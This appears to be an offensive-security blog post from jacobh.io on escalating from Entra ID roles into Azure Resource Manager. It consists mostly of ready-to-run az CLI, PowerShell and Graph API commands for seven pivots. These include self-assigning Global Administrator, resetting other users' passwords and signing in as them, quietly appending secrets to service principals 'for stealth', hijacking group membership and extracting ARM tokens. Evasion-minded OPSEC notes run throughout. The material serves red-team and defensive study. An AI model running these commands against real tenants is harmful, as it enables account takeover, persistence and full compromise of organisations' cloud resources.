jacobh.io
Azure - Pivoting from Entra ID to Azure Resource Manager

Azure - Pivoting from Entra ID to Azure Resource Manager

15 min read

Platform: EntraID

Updated

Purpose: A practical reference for moving from Entra ID access (Graph, directory roles, Entra permissions) into Azure Resource Manager - when you have something in the identity plane but need to reach the resource plane.

Table of Contents

Two-Planes


Goal: Understand why pivoting is required and what you’re looking for.

Overview

Entra ID (used to be Azure Active Directory) is the identity provider. Azure Resource Manager (ARM) is the resource management layer. They share the same underlying identities - users, service principals, managed identities - but their permission models are completely independent.

Entra IDAzure (ARM)
Permission modelDirectory RolesAzure RBAC
Managed inEntra ID portalAzure portal (IAM)
APIgraph.microsoft.commanagement.azure.com
Token audiencehttps://graph.microsoft.com/https://management.azure.com/
High-priv roleGlobal AdministratorOwner

A Global Administrator has zero ARM permissions by default. The only way to reach Azure subscriptions from an Entra identity is through an explicit RBAC assignment, or by exploiting the connections between the planes - which is what this guide covers.

The pivot opportunities fall into two categories:

  1. Role-based: your Entra role carries an inherent capability that can be used to reach ARM (e.g., Global Admin’s self-elevation, User Admin’s password reset).
  2. Permission-based: your Entra directory permissions let you modify a principal (application, service principal, group, user) that already has ARM RBAC assignments.

In either case, the final step is always the same: authenticate as a principal that has an ARM RBAC role, then exchange that identity for an ARM access token or use the principal directly.

Enumerating Pivot Opportunities


Goal: Before attempting any pivot, map what connections exist in the environment.

Your Entra Roles

# list your current Entra roles (active assignments)
az rest --method GET \
  --uri "https://graph.microsoft.com/v1.0/users/<user-id>/memberOf/microsoft.graph.directoryRole"
Get-MgRoleManagementDirectoryRoleAssignmentScheduleInstance -Filter "principalId eq '<user-id>'"

Resolve GUIDs to human readable names

$instances = Get-MgRoleManagementDirectoryRoleAssignmentScheduleInstance -Filter "principalId eq '<user-id>'" -ExpandProperty "roleDefinition,principal"
$instances | Select-Object @{N='Role';E={$_.RoleDefinition.DisplayName}}, @{N='Principal';E={$_.Principal.AdditionalProperties.displayName}}, AssignmentType, MemberType, StartDateTime, EndDateTime | Format-Table -AutoSize

az cli has scope limitations for PIM schedule queries - use PowerShell for those.

Your Entra Directory Permissions

Custom roles and fine-grained permissions matter here. Check what actions your role allows:

# list all Entra role definitions (including custom)
az rest --method GET \
  --uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions"

Principals with ARM RBAC Assignments

These are your targets. Look for service principals, groups, and users that already have roles in Azure:

# all ARM role assignments (requires Reader or above on a subscription)
az role assignment list --all --output table

# filter by a specific principal (user, group, or SP)
az role assignment list --all --query "[?principalName=='<upn-or-id>']" --output table
Get-AzRoleAssignment | Select-Object RoleDefinitionName, Scope, DisplayName, ObjectType

Groups with ARM Assignments

Groups are a common pivot surface - adding yourself to a group is often easier than compromising a specific user:

# get ARM role assignments for a specific group
az role assignment list --include-groups --assignee <group-id> --output table
Get-AzRoleAssignment -ObjectId <group-id> -IncludeClassicAdministrators

Service Principals with ARM Roles

Applications registered in Entra have service principals that can hold ARM RBAC roles. These are high-value targets for credential injection:

# list service principals
az ad sp list --all --query "[].{name:displayName, appId:appId, id:id}" --output table
Get-AzADServicePrincipal | Select-Object DisplayName, AppId, Id

Automated Enumeration

CloudPEASS will enumerate permissions across both planes:

export AZURE_ARM_TOKEN=$(az account get-access-token --resource-type arm | jq -r .accessToken)
export AZURE_GRAPH_TOKEN=$(az account get-access-token --resource-type ms-graph | jq -r .accessToken)

python3 AzurePEAS.py

Also run AzureHound to map the full identity graph - it shows group → role → resource paths BloodHound-style.

Method 1: Global Administrator → User Access Administrator


Goal: Use Global Administrator access in Entra to elevate to User Access Administrator at the ARM root scope, granting access to all subscriptions.

Required role: Global Administrator

What it does: Enables a hidden setting that assigns the User Access Administrator role to your account at the root management group (/). This role can then be used to assign any RBAC role to any principal at any scope - effectively full tenant compromise in ARM.

Enable Role

Enable the setting in the portal.

Navigate to:

https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties

Toggle “Access management for Azure resources” to Yes and save.

Verify the role assignment.

After enabling, your account is now User Access Administrator at root:

az role assignment list --all --query "[?scope=='/' && roleDefinitionName=='User Access Administrator']"
Get-AzRoleAssignment | Where-Object { $_.Scope -eq '/' -and $_.RoleDefinitionName -eq 'User Access Administrator' }

Assign yourself an ARM role

With User Access Administrator at root you can grant yourself (or any principal) any role at any scope:

# assign Owner on the subscription
az role assignment create \
  --role "Owner" \
  --assignee "<your-upn-or-object-id>" \
  --scope "/subscriptions/<subscription-id>"
New-AzRoleAssignment -RoleDefinitionName "Owner" `
  -SignInName "<your-upn>" `
  -Scope "/subscriptions/<subscription-id>"

OPSEC: This setting change is logged in Entra audit logs (Update user type event) and the role assignment appears in ARM activity logs. PIM will also send an email if the tenant uses it.

Method 2: Privileged Role Administrator


Goal: Use the Privileged Role Administrator role to assign higher Entra roles to yourself, chaining into Method 1 or any other role-based pivot.

Required role: Privileged Role Administrator

What it does: Allows assigning any Entra directory role to any principal. With this, you can assign yourself Global Administrator and then proceed with Method 1.

# assign Global Administrator to your user
az rest --method POST \
  --uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments" \
  --headers "Content-Type=application/json" \
  --body '{
    "roleDefinitionId": "62e90394-69f5-4237-9190-012177145e10",
    "principalId": "<your-object-id>",
    "directoryScopeId": "/"
  }'

The Global Administrator role definition ID is 62e90394-69f5-4237-9190-012177145e10 in all tenants.

After assigning Global Administrator, proceed with Method 1.

Method 3: Password Reset (User Admin / Help Desk Admin)


Goal: Reset the password of a user who has Azure RBAC assignments, then authenticate as them to reach ARM.

Required role: User Administrator, Help Desk Administrator, or microsoft.directory/users/password/update permission

What it does: These roles allow resetting passwords of non-admin users. If any user with ARM RBAC assignments is a non-admin, their password can be reset to gain access to their Azure context.

Identify Target Users

Find users with ARM role assignments and check if they’re non-admin:

# get all ARM role assignments showing which users have access
az role assignment list --all --query "[?principalType=='User']" --output table
# with powershell
Get-AzRoleAssignment | Where-Object { $_.ObjectType -eq 'User' } | Format-Table DisplayName, RoleDefinitionName, Scope -AutoSize

Reset with Az CLI

az ad user update --id <user-id|email> --password "NewPassword123!"

Authenticate as Target

az login -u 'target@domain.com' -p 'NewPassword123!'
$cred = New-Object System.Management.Automation.PSCredential(
  'target@domain.com',
  (ConvertTo-SecureString 'NewPassword123!' -AsPlainText -Force)
)
Connect-AzAccount -Credential $cred

Note: microsoft.directory/users/password/update cannot be assigned to custom roles - it only exists on built-in roles.

Method 4: Application Credentials


Goal: Add credentials to an existing application or service principal that has ARM RBAC roles, then authenticate as that SP to access ARM.

Required permission: microsoft.directory/applications/credentials/update or microsoft.directory/servicePrincipals/credentials/update

What it does: These permissions allow adding new client secrets or certificates to existing application registrations and service principals. If any of these have ARM RBAC assignments, adding credentials gives you a new login path into that identity.

Find Target Applications and Service Principals

# list app registrations - ignoring microsoft first party apps.
az ad app list --all --query "[?publisherDomain=='<tenant-domain>'].{name:displayName, appId:appId, id:id}" --output table

# list service principals
az ad sp list --all --query "[?appOwnerOrganizationId=='<tenant-id>'].{name:displayName, appId:appId, id:id}" --output table

Check ARM roles for a specific service principal:

az role assignment list --all --query "[?principalType=='ServicePrincipal' && principalName=='<sp-display-name>']" --output table

Check ARM roles for a specific Entra app:

az role assignment list --all --query "[?principalType=='ServicePrincipal' && principalName=='<appId>']" | jq

Add Credentials to Application Registration

Add a new secret without removing existing ones (--append is critical for stealth):

az ad app credential reset --id <appId> --append

Or add a certificate:

az ad app credential reset --id <appId> --create-cert --append

Add Credentials via Graph API

For more control (custom expiry, display name):

note: application object is is not the AppId. az ad app list -o table, use the Id column.

APP_OBJ_ID="<application-object-id>"

curl -s -X POST \
  -H "Authorization: Bearer $GRAPH_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "passwordCredential": {
      "displayName": "backup-cred",
      "endDateTime": "2027-01-01T00:00:00Z"
    }
  }' \
  "https://graph.microsoft.com/v1.0/applications/$APP_OBJ_ID/addPassword" | jq

Authenticate as the Service Principal

az login --service-principal \
  --username <appId> \
  --password <new-secret> \
  --tenant <tenant-id>
$cred = New-Object System.Management.Automation.PSCredential("<appId>",(ConvertTo-SecureString "<new-secret>" -AsPlainText -Force))

Connect-AzAccount -ServicePrincipal -Credential $cred -Tenant "<tenant-id>"

Method 5: Service Principal Owner Takeover


Goal: Become the owner of a service principal that has ARM RBAC roles, then use owner privileges to add credentials.

Required permission: microsoft.directory/servicePrincipals/owners/update

What it does: Owning a service principal gives full control over it - including the ability to add, modify, or remove credentials. This two-step approach: take ownership → add credentials works when you have owner-update permissions but not direct credential-update permissions.

Add Yourself as Owner

note: application object is is not the AppId. az ad app list -o table, use the Id column.

SP_OBJ_ID="<service-principal-object-id>"
USER_ID="<your-user-object-id>"

az rest --method POST \
  --uri "https://graph.microsoft.com/v1.0/servicePrincipals/$SP_OBJ_ID/owners/\$ref" \
  --headers "Content-Type=application/json" \
  --body "{\"@odata.id\": \"https://graph.microsoft.com/v1.0/users/$USER_ID\"}"

Verify:

az ad sp owner list --id $SP_OBJ_ID

Add Credentials as Owner

Once you’re an owner, standard credential reset works:

az ad sp credential reset --id <sp-app-id> --append

Then authenticate with the new credentials using the same steps as Method 4.

Note: spObjectId (the object ID of the SP itself) differs from appId (the application/client ID). Use az ad sp show --id <appId> --query id --output tsv to get the SP object ID from an app ID.

Method 6: Group Membership


Goal: Add yourself to an Entra ID security group that has ARM RBAC role assignments, inheriting those permissions.

Required permission: microsoft.directory/groups/members/update or microsoft.directory/groups/owners/update

What it does: Azure RBAC assignments can be made to groups. Any user who is a member of that group inherits the role. If you can add yourself to a group with an ARM role, you gain that role.

Find Groups with ARM Assignments

# list all ARM role assignments assigned to groups
az role assignment list --all --query "[?principalType=='Group']" --output table
# powershell version
Get-AzRoleAssignment | Where-Object { $_.ObjectType -eq 'Group' }

Get members of a specific group to understand who else has this access:

az ad group member list --group <group-name|id> --query "[].userPrincipalName" --output table
# powershell
Get-AzADGroupMember -GroupDisplayName "<group-name>" | Select-Object UserPrincipalName 

Add Yourself to the Group

Az CLI:

az ad group member add --group <GroupName> --member-id <your-user-object-id>

Microsoft Graph PowerShell:

New-MgGroupMember -GroupId "<group-id>" -DirectoryObjectId "<user-id>"

Verify Membership

az ad group member list -g "<group-name>"
Get-AzADGroupMember -GroupDisplayName "<group-name>"

Important: There may be a short delay (seconds to minutes) before group membership changes propagate to ARM role evaluation.

Method 7: Dynamic Group Attribute Manipulation


Goal: Modify a user-controlled attribute on your account to match the membership rule of a dynamic group that has ARM RBAC assignments.

What it does: Dynamic groups automatically add/remove members based on attribute rules evaluated by Entra ID. If a rule uses an attribute the user can modify (like otherMails, jobTitle, department), you can self-enroll in the group without needing groups/members/update permission.

Find Dynamic Groups with ARM Roles

First, identify dynamic groups:

az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table
Get-MgGroup -Filter "GroupTypes/any(c:c eq 'DynamicMembership')" -All

Connect-MgGraph -Scopes Group.Read.All required ^

Then check which of those groups have ARM RBAC assignments:

# for each dynamic group, check ARM role assignments
az role assignment list --include-groups --assignee <group-id> --output table
# with powershell
Get-AzRoleAssignment -ObjectId "<group-id>"

Inspect the Membership Rule

The membership rule defines which attribute values trigger auto-enrollment. Look for rules using user-modifiable attributes:

az ad group show --group "<group-name>" --query "membershipRule"

The amount of attributes you can modify is dependent on your privileges.

Standard Users

givenName, surname, streetAddress, state, postalCode, country, telephoneNumber, mobile, otherMails

Directory Writers

displayName, city, companyName, country, department, facsimileTelephoneNumber, givenName, jobTitle, mailNickname, mobile, physicalDeliveryOfficeName, postalCode, state, streetAddress, surname, telephoneNumber, proxyAddresses

User Administrator: everything above, plus

accountEnabled, mail, userPrincipalName, userType, usageLocation, employeeId, employeeHireDate, passwordPolicies, preferredLanguage, sipProxyAddress, otherMails

Identity Governance Administrator

employeeId, employeeHireDate

People Administrator

displayName, givenName, surname, department, jobTitle, mobile, telephoneNumber, physicalDeliveryOfficeName, city, state, postalCode, country, streetAddress, companyName

Global Administrator: all of the above, unrestricted, on all users including other admins.

Modify Your Attribute to Match

Example - matching an otherMails-based rule:

az rest --method PATCH \
  --url "https://graph.microsoft.com/v1.0/users/<your-object-id>" \
  --headers 'Content-Type=application/json' \
  --body '{"otherMails": ["<email@email.net>"]}'
Update-MgUser -UserId "<user-id-or-upn>" -OtherMails @("email@email.net")

Connect-MgGraph -Scopes "User.ReadWrite.All" required ^

Validate attribute update

az rest --method GET --url "https://graph.microsoft.com/v1.0/users/<your-object-id>?\$select=otherMails"
(Get-MgUser -UserId "<user-id-or-upn>" -Property OtherMails).OtherMails

Validate Group Enrollment

Dynamic group membership evaluation can take up to a few minutes:

az ad group member list -g "<group-name>"
Get-AzADGroupMember -GroupDisplayName "<group-name>"

OPSEC: Dynamic group evaluations trigger an audit log event in Entra. The attribute change itself also generates a Update user event. If the group is monitored, this may alert.

Getting an ARM Token


Goal: After compromising a principal with ARM RBAC roles, exchange that access for an ARM access token you can use against management.azure.com.

Once you’ve completed any of the methods above, you need an access token with aud: https://management.azure.com/ to make ARM API calls.

See Token Collection for a full reference on getting tokens.

From Az CLI Context

After az login or az login --service-principal:

az account get-access-token --resource-type arm | jq -r .accessToken

From Azure PowerShell Context

After Connect-AzAccount:

(ConvertFrom-SecureString (Get-AzAccessToken -ResourceTypeName Arm -AsSecureString).Token -AsPlainText)

From a Refresh Token (RT Exchange)

If you have a refresh token from your compromised identity, exchange it directly for an ARM token without re-authenticating:

export TENANT_ID="<tenant-id>"
export REFRESH_TOKEN="<refresh-token>"

curl -s -X POST \
  -d "client_id=<client-id>" \
  -d "grant_type=refresh_token" \
  --data-urlencode "refresh_token=$REFRESH_TOKEN" \
  -d "scope=https://management.azure.com/.default" \
  "https://login.microsoftonline.com/$TENANT_ID/oauth2/v2.0/token" | jq

With ROADtools:

roadtx refreshtokento -r https://management.azure.com --tokens-stdout

See Token Exchange for a full reference on RT → AT conversion, FOCI, and audience switching.

Validate the ARM Token

The subscriptions endpoint returns 200 (even with empty list) for any valid ARM token:

curl -s -X GET "https://management.azure.com/subscriptions?api-version=2022-12-01" -H "Authorization: Bearer $ARM_TOKEN" | jq

Use Token in PowerShell

$ARM_TOKEN = "<arm-access-token>"
Connect-AzAccount -AccessToken $ARM_TOKEN -AccountId "any@placeholder.com"

# verify
Get-AzContext
Get-AzResource

Indirect & Alternative Methods


The methods above cover the most direct Entra → ARM pivot paths. These are additional techniques worth knowing. Some may have been mitigated by microsoft, idk I haven’t explored them.

PIM Eligible ARM Role Activation - PIM separates role eligibility from activation. An eligible ARM RBAC assignment is dormant but real - you can activate it yourself without additional permissions. Always enumerate eligible assignments, not just active ones.

Partner Tier2 Support Role - A hidden built-in Entra role intended for Microsoft CSP partners. Equivalent in capability to Global Administrator but not shown in the Azure portal UI, making it hard to audit. Can self-promote to Global Admin → chain to Method 1. Documented by SpecterOps.

Hybrid Identity Administrator / Federation Abuse (Golden SAML) - This Entra role can modify federated domain trust configuration. With access to the token-signing certificate (via a compromised ADFS server or federation config modification), SAML tokens can be forged for any synced user - including those with ARM Owner. AADInternals automates this.

Tools Reference


ToolPurposeRelevant Methods
Az CLIPrimary interface for both Graph and ARM operationsAll
Azure PowerShellARM operations, PIM queries that Az CLI can’t handleAll
Microsoft.Graph PowerShellGraph operations, group/role management2, 3, 5, 6, 7
ROADtools / roadtxToken exchange, RT → ARM AT conversionToken Exchange
AzureHoundBloodHound-style mapping of group → role → resource pathsEnumeration
CloudPEASSAutomated permission enumeration across both planesEnumeration